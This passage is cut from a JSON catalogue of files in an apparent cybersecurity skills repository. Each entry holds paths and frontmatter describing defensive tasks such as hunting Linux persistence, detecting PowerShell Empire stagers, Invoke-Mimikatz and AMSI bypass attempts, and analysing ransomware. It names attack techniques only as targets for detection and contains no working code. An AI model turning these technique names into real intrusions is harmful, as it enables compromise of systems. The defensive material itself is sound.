-->","isInternal":false,"tokens":791,"sizeBytes":2763},{"name":"SKILL.md","path":"skills/analyzing-persistence-mechanisms-in-linux/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-persistence-mechanisms-in-linux/SKILL.md","title":"analyzing-persistence-mechanisms-in-linux","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-persistence-mechanisms-in-linux%2FSKILL.md -->","frontmatter":{"name":"analyzing-persistence-mechanisms-in-linux","description":"Scan Linux systems for persistence mechanisms including crontab/systemd entries, LD_PRELOAD injection, shell profile modifications (.bashrc, .profile), and SSH authorized_keys backdoors, then correlate findings with auditd logs into an installation timeline. Use during incident response or threat hunting to detect or confirm how an adversary maintained access to a compromised Linux host.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["linux-persistence","crontab","systemd","ld-preload","auditd","threat-hunting","incident-response"],"mitre_attack":["T1053.003","T1543.002","T1574.006","T1546.004","T1098.004"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Process Termination","Content Format Conversion"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"]},"isInternal":false,"tokens":732,"sizeBytes":3218},{"name":"api-reference.md","path":"skills/analyzing-powershell-empire-artifacts/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-powershell-empire-artifacts/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-powershell-empire-artifacts%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":866,"sizeBytes":3393},{"name":"SKILL.md","path":"skills/analyzing-powershell-empire-artifacts/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-powershell-empire-artifacts/SKILL.md","title":"analyzing-powershell-empire-artifacts","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-powershell-empire-artifacts%2FSKILL.md -->","frontmatter":{"name":"analyzing-powershell-empire-artifacts","description":"Detect PowerShell Empire post-exploitation framework artifacts in Windows Script Block Logging (Event ID 4104) and Module Logging (Event ID 4103), including the default launcher string, Base64-encoded WebClient/FromBase64String payloads, known module invocations (Invoke-Mimikatz, Invoke-Kerberoast), and staging URL patterns. Use when hunting for or confirming Empire C2 activity in Windows event logs.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["PowerShell-Empire","threat-hunting","Script-Block-Logging","base64","stager","C2","MITRE-ATT&CK","T1059.001","forensics"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis"],"nist_ai_rmf":["GOVERN-1.1","MEASURE-2.7","MANAGE-3.1"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1059.001","T1071.001","T1003.001","T1558.003","T1027.010"]},"isInternal":false,"tokens":735,"sizeBytes":2883},{"name":"api-reference.md","path":"skills/analyzing-powershell-script-block-logging/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-powershell-script-block-logging/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-powershell-script-block-logging%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":532,"sizeBytes":1866},{"name":"SKILL.md","path":"skills/analyzing-powershell-script-block-logging/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-powershell-script-block-logging/SKILL.md","title":"analyzing-powershell-script-block-logging","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-powershell-script-block-logging%2FSKILL.md -->","frontmatter":{"name":"analyzing-powershell-script-block-logging","description":"Parse Windows PowerShell Script Block Logs (Event ID 4104) from EVTX files to detect obfuscated commands, encoded payloads, and living-off-the-land techniques. Uses python-evtx to extract and reconstruct multi-block scripts, applies entropy analysis and pattern matching for Base64-encoded commands, Invoke-Expression abuse, download cradles, and AMSI bypass attempts.","domain":"cybersecurity","subdomain":"security-operations","tags":["powershell","script-block-logging","event-id-4104","obfuscation-detection","windows-forensics","endpoint-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1059.001","T1027.010","T1140","T1105"]},"isInternal":false,"tokens":638,"sizeBytes":2663},{"name":"api-reference.md","path":"skills/analyzing-prefetch-files-for-execution-history/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-prefetch-files-for-execution-history/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-prefetch-files-for-execution-history%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":931,"sizeBytes":3146},{"name":"SKILL.md","path":"skills/analyzing-prefetch-files-for-execution-history/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-prefetch-files-for-execution-history/SKILL.md","title":"analyzing-prefetch-files-for-execution-history","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-prefetch-files-for-execution-history%2FSKILL.md -->","frontmatter":{"name":"analyzing-prefetch-files-for-execution-history","description":"Parse Windows Prefetch files (versions 17, 23, 26, 30) with tools like PECmd, WinPrefetchView, or python-prefetch to determine program execution history, including run counts, execution timestamps, and referenced files/DLLs. Use when building a timeline of program execution on a Windows system, confirming whether a suspicious binary ran, or correlating execution evidence with other forensic artifacts during an investigation.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["forensics","prefetch","windows-artifacts","execution-history","timeline-analysis","evidence-collection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1059.001","T1003.001","T1021.002","T1567.002"]},"isInternal":false,"tokens":3242,"sizeBytes":12152},{"name":"api-reference.md","path":"skills/analyzing-ransomware-encryption-mechanisms/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-ransomware-encryption-mechanisms/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ransomware-encryption-mechanisms%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1215,"sizeBytes":4076},{"name":"SKILL.md","path":"skills/analyzing-ransomware-encryption-mechanisms/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-ransomware-encryption-mechanisms/SKILL.md","title":"analyzing-ransomware-encryption-mechanisms","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ransomware-encryption-mechanisms%2FSKILL.md -->","frontmatter":{"name":"analyzing-ransomware-encryption-mechanisms","description":"Analyzes encryption algorithms, key management, and file encryption routines used by ransomware families to assess decryption feasibility, identify implementation weaknesses, and support recovery efforts. Covers AES, RSA, ChaCha20, and hybrid encryption schemes. Activates for requests involving ransomware cryptanalysis, encryption analysis, key recovery assessment, or ransomware decryption feasibility.\n","domain":"cybersecurity","subdomain":"malware-analysis","tags":["malware","ransomware","encryption","cryptanalysis","reverse-engineering"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1486","T1573.001","T1573.002","T1027"],"mitre_f3":{"version":"1.1","tactics":["monetization","positioning"],"techniques":[{"id":"F1018","name":"Convert to Cryptocurrency","tactic":"monetization","source":"f3"},{"id":"F1047","name":"Transfer of funds","tactic":"monetization","source":"f3"},{"id":"T1219","name":"Remote Access Tools","tactic":"positioning","source":"attack"}]}},"isInternal":false,"tokens":3356,"sizeBytes":14193},{"name":"api-reference.md","path":"skills/analyzing-ransomware-leak-site-intelligence/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-ransomware-leak-site-intelligence/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ransomware-leak-site-intelligence%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":629,"sizeBytes":2344},{"name":"SKILL.md","path":"skills/analyzing-ransomware-leak-site-intelligence/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-ransomware-leak-site-intelligence/SKILL.md","title":"analyzing-ransomware-leak-site-intelligence","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ransomware-leak-site-intelligence%2FSKILL.md -->","frontmatter":{"name":"analyzing-ransomware-leak-site-intelligence","description":"Safely monitor ransomware group Tor-hosted data leak sites (DLS) to collect and extract structured victim posting data, track group activity trends over time, and produce sector- and geography-specific ransomware risk assessments. Use when performing threat intelligence gathering on active ransomware groups or building proactive defense reporting from double-extortion leak-site activity.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["ransomware","leak-site","data-leak","extortion","threat-intelligence","leak-site-monitoring","dls","victim-tracking"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1657","T1486","T1567.002","T1591"],"mitre_f3":{"version":"1.1","tactics":["monetization","reconnaissance"],"techniques":[{"id":"F1018","name":"Convert to Cryptocurrency","tactic":"monetization","source":"f3"},{"id":"F1029","name":"Gather Customer Information","tactic":"reconnaissance","source":"f3"},{"id":"T1593","name":"Search Open Websites/Domains","tactic":"reconnaissance","source":"attack"},{"id":"F1025.003","name":"Electronic Funds Transfer: Wire Transfer","tactic":"monetization","source":"f3"}]}},"isInternal":false,"tokens":3350,"sizeBytes":14245},{"name":"api-reference.md","path":"skills/analyzing-ransomware-network-indicators/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-ransomware-network-indicators/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ransomware-network-indicators%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":685,"sizeBytes":2363},{"name":"SKILL.md","path":"skills/analyzing-ransomware-network-indicators/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-ransomware-network-indicators/SKILL.md","title":"analyzing-ransomware-network-indicators","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ransomware-network-indicators%2FSKILL.md -->","frontmatter":{"name":"analyzing-ransomware-network-indicators","description":"Identify ransomware-related network indicators, including C2 beaconing patterns, TOR exit node connections, data exfiltration flows, and encryption key exchange, by analyzing Zeek conn.log and NetFlow data. Use when threat hunting for active ransomware network activity or investigating suspected pre-encryption exfiltration during incident response.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["ransomware","c2-beaconing","zeek","netflow","tor","exfiltration","network-forensics"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Certificate Analysis","Application Protocol Command Analysis","Content Format Conversion","File Content Analysis"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1071.001","T1573","T1048","T1567.002","T1486"],"mitre_f3":{"version":"1.1","tactics":["positioning","monetization"],"techniques":[{"id":"T1219","name":"Remote Access Tools","tactic":"positioning","source":"attack"},{"id":"F1018","name":"Convert to Cryptocurrency","tactic":"monetization","source":"f3"},{"id":"F1047","name":"Transfer of funds","tactic":"monetization","source":"f3"}]}},"isInternal":false,"tokens":758,"sizeBytes":3195},{"name":"api-reference.md","path":"skills/analyzing-ransomware-payment-wallets/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-ransomware-payment-wallets/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ransomware-payment-wallets%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":804,"sizeBytes":3058},{"name":"SKILL.md","path":"skills/analyzing-ransomware-payment-wallets/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-ransomware-payment-wallets/SKILL.md","title":"analyzing-ransomware-payment-wallets","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ransomware-payment-wallets%2FSKILL.md -->","frontmatter":{"name":"analyzing-ransomware-payment-wallets","description":"Traces ransomware cryptocurrency payment flows using blockchain analysis tools such as Chainalysis Reactor, WalletExplorer, and blockchain.com APIs, identifying wallet clusters and tracking fund movement through mixers and exchanges to support law enforcement attribution. Use when tracing ransomware bitcoin payments, performing cryptocurrency wallet forensics, or gathering blockchain threat intelligence on extortion payments.\n","domain":"cybersecurity","subdomain":"ransomware-defense","tags":["ransomware","blockchain","cryptocurrency","forensics","threat-intelligence","bitcoin"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.DS-11","RS.MA-01","RC.RP-01","PR.IR-01"],"mitre_attack":["T1657","T1486"],"mitre_f3":{"version":"1.1","tactics":["monetization","stealth"],"techniques":[{"id":"F1018","name":"Convert to Cryptocurrency","tactic":"monetization","source":"f3"},{"id":"F1017","name":"Conversion to Physical Monetary Instruments","tactic":"monetization","source":"f3"},{"id":"F1017.001","name":"Conversion to Physical Monetary Instruments: Cash","tactic":"monetization","source":"f3"},{"id":"F1047","name":"Transfer of funds","tactic":"monetization","source":"f3"},{"id":"F1045","name":"Structuring","tactic":"stealth","source":"f3"}]}},"isInternal":false,"tokens":1822,"sizeBytes":7787},{"name":"api-reference.md","path":"skills/analyzing-sbom-for-supply-chain-vulnerabilities/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-sbom-for-supply-chain-vulnerabilities/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-sbom-for-supply-chain-vulnerabilities%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1935,"sizeBytes":6060},{"name":"SKILL.md","path":"skills/analyzing-sbom-for-supply-chain-vulnerabilities/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-sbom-for-supply-chain-vulnerabilities/SKILL.md","title":"analyzing-sbom-for-supply-chain-vulnerabilities","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-sbom-for-supply-chain-vulnerabilities%2FSKILL.md -->","frontmatter":{"name":"analyzing-sbom-for-supply-chain-vulnerabilities","description":"Parses Software Bill of Materials (SBOM) in CycloneDX and SPDX JSON formats to identify supply chain vulnerabilities by correlating components against the NVD CVE database via the NVD 2.0 API. Builds dependency graphs, calculates risk scores, identifies transitive vulnerability paths, and generates compliance reports. Activates for requests involving SBOM analysis, software composition analysis, supply chain security assessment, dependency vulnerability scanning, CycloneDX/SPDX parsing, or CVE correlation.\n","domain":"cybersecurity","subdomain":"supply-chain-security","tags":["SBOM","CycloneDX","SPDX","NVD","CVE","supply-chain","dependency-analysis","syft","grype"],"version":"1.0.0","author":"mukul975","license":"Apache-2.0","atlas_techniques":["AML.T0010"],"nist_ai_rmf":["GOVERN-5.2","MAP-1.6","MANAGE-2.2","GOVERN-1.1","GOVERN-4.2"],"nist_csf":["GV.SC-01","GV.SC-03","GV.SC-06","GV.SC-07"],"mitre_attack":["T1195.001","T1195.002","T1554","T1190"]},"isInternal":false,"tokens":3109,"sizeBytes":11714},{"name":"api-reference.md","path":"skills/analyzing-security-logs-with-splunk/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-security-logs-with-splunk/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-security-logs-with-splunk%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":672,"sizeBytes":2610},{"name":"SKILL.md","path":"skills/analyzing-security-logs-with-splunk/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-security-logs-with-splunk/SKILL.md","title":"analyzing-security-logs-with-splunk","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-security-logs-with-splunk%2FSKILL.md -->","frontmatter":{"name":"analyzing-security-logs-with-splunk","description":"Leverages Splunk Enterprise Security and SPL (Search Processing Language) to investigate security incidents through log correlation, timeline reconstruction, and anomaly detection. Covers Windows event logs, firewall logs, proxy logs, and authentication data analysis. Activates for requests involving Splunk investigation, SPL queries, SIEM log analysis, security event correlation, or log-based incident investigation.\n","domain":"cybersecurity","subdomain":"incident-response","tags":["splunk","SPL","SIEM","log-analysis","security-monitoring"],"mitre_attack":["T1110","T1550.002","T1021.001","T1059.001","T1003.001"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis"],"nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4","MANAGE-3.1","MEASURE-3.1"],"nist_csf":["RS.MA-01","RS.MA-02","RS.AN-03","RC.RP-01"]},"isInternal":false,"tokens":2579,"sizeBytes":10048},{"name":"api-reference.md","path":"skills/analyzing-slack-space-and-file-system-artifacts/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-slack-space-and-file-system-artifacts/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-slack-space-and-file-system-artifacts%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":617,"sizeBytes":1933},{"name":"SKILL.md","path":"skills/analyzing-slack-space-and-file-system-artifacts/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-slack-space-and-file-system-artifacts/SKILL.md","title":"analyzing-slack-space-and-file-system-artifacts","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-slack-space-and-file-system-artifacts%2FSKILL.md -->","frontmatter":{"name":"analyzing-slack-space-and-file-system-artifacts","description":"Examine NTFS slack space, MFT entries, the USN Change Journal, and Alternate Data Streams (ADS) to recover hidden or residual data, reconstruct deleted-file metadata, and reconstruct available file-system change activity from USN records. Use during deep forensic analysis of an NTFS image when standard file recovery is insufficient, such as hunting for data hidden in ADS.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["forensics","slack-space","ntfs","mft","usn-journal","alternate-data-streams","file-system-analysis"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1070.006","T1564.004","T1070.004","T1005","T1006"]},"isInternal":false,"tokens":4116,"sizeBytes":14836},{"name":"template.md","path":"skills/analyzing-supply-chain-malware-artifacts/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-supply-chain-malware-artifacts/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-supply-chain-malware-artifacts%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":113,"sizeBytes":421},{"name":"api-reference.md","path":"skills/analyzing-supply-chain-malware-artifacts/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-supply-chain-malware-artifacts/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-supply-chain-malware-artifacts%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":537,"sizeBytes":2181},{"name":"standards.md","path":"skills/analyzing-supply-chain-malware-artifacts/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-supply-chain-malware-artifacts/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-supply-chain-malware-artifacts%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":76,"sizeBytes":309},{"name":"workflows.md","path":"skills/analyzing-supply-chain-malware-artifacts/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-supply-chain-malware-artifacts/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-supply-chain-malware-artifacts%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":63,"sizeBytes":468},{"name":"SKILL.md","path":"skills/analyzing-supply-chain-malware-artifacts/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-supply-chain-malware-artifacts/SKILL.md","title":"analyzing-supply-chain-malware-artifacts","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-supply-chain-malware-artifacts%2FSKILL.md -->","frontmatter":{"name":"analyzing-supply-chain-malware-artifacts","description":"Investigate supply chain attack artifacts including trojanized software updates, compromised build pipelines, and sideloaded dependencies to identify intrusion vectors and scope of compromise.","domain":"cybersecurity","subdomain":"malware-analysis","tags":["supply-chain","malware-analysis","trojanized-software","solarwinds","3cx","dependency-confusion","software-integrity"],"version":"1.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0010"],"nist_ai_rmf":["GOVERN-5.2","MAP-1.6","MANAGE-2.2"],"d3fend_techniques":["Platform Hardening","Hardware Component Inventory","Restore Object","Electromagnetic Radiation Hardening","RF Shielding"],"nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1195.002","T1195.001","T1554","T1553.002","T1027"]},"isInternal":false,"tokens":1495,"sizeBytes":6211},{"name":"template.md","path":"skills/analyzing-threat-actor-ttps-with-mitre-attack/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-threat-actor-ttps-with-mitre-attack/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-actor-ttps-with-mitre-attack%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":554,"sizeBytes":2234},{"name":"api-reference.md","path":"skills/analyzing-threat-actor-ttps-with-mitre-attack/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-threat-actor-ttps-with-mitre-attack/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-actor-ttps-with-mitre-attack%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":593,"sizeBytes":2102},{"name":"standards.md","path":"skills/analyzing-threat-actor-ttps-with-mitre-attack/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-threat-actor-ttps-with-mitre-attack/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-actor-ttps-with-mitre-attack%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":932,"sizeBytes":3299},{"name":"workflows.md","path":"skills/analyzing-threat-actor-ttps-with-mitre-attack/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-threat-actor-ttps-with-mitre-attack/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-actor-ttps-with-mitre-attack%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":804,"sizeBytes":4817},{"name":"SKILL.md","path":"skills/analyzing-threat-actor-ttps-with-mitre-attack/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-threat-actor-ttps-with-mitre-attack/SKILL.md","title":"analyzing-threat-actor-ttps-with-mitre-attack","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-actor-ttps-with-mitre-attack%2FSKILL.md -->","frontmatter":{"name":"analyzing-threat-actor-ttps-with-mitre-attack","description":"Systematically map threat actor behavior and observed IOCs to the MITRE ATT&CK framework, build technique coverage heatmaps with the ATT&CK Navigator, identify detection gaps, and produce actionable threat intelligence reports across the Enterprise, Mobile, and ICS matrices. Use when analyzing threat actor TTPs, correlating IOCs to specific ATT&CK techniques, or assessing defensive detection coverage against adversary behavior.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["threat-intelligence","cti","ioc","mitre-attack","stix","ttp-analysis","threat-actors"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis"],"nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1566.001","T1059.001","T1071.001","T1547.001","T1053.005"]},"isInternal":false,"tokens":2497,"sizeBytes":10067},{"name":"api-reference.md","path":"skills/analyzing-threat-actor-ttps-with-mitre-navigator/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-threat-actor-ttps-with-mitre-navigator/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-actor-ttps-with-mitre-navigator%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":930,"sizeBytes":3540},{"name":"SKILL.md","path":"skills/analyzing-threat-actor-ttps-with-mitre-navigator/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-threat-actor-ttps-with-mitre-navigator/SKILL.md","title":"analyzing-threat-actor-ttps-with-mitre-navigator","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-actor-ttps-with-mitre-navigator%2FSKILL.md -->","frontmatter":{"name":"analyzing-threat-actor-ttps-with-mitre-navigator","description":"Map advanced persistent threat (APT) group TTPs to the MITRE ATT&CK framework using the attackcti Python library to query STIX/TAXII data for group-technique associations, then generate ATT&CK Navigator layer files to visualize and compare defensive coverage against adversary profiles. Use when profiling an APT group's techniques, building Navigator coverage heatmaps, or assessing technique coverage gaps against a specific threat 